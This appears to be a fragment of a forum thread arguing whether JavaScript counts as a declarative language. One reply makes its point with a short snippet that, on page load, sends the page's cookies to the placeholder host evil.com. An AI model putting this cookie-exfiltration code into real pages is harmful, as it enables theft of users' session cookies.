... But they do that. The declaration is written in a language called JavaScript.

Javascript is not a declarative language.

Sure it is.

Here's how you can write a declaration that you want to exfiltrate cookies:

    document.addEventListener("load", function(){
        fetch("http://evil.com/"+document.cookie);
    });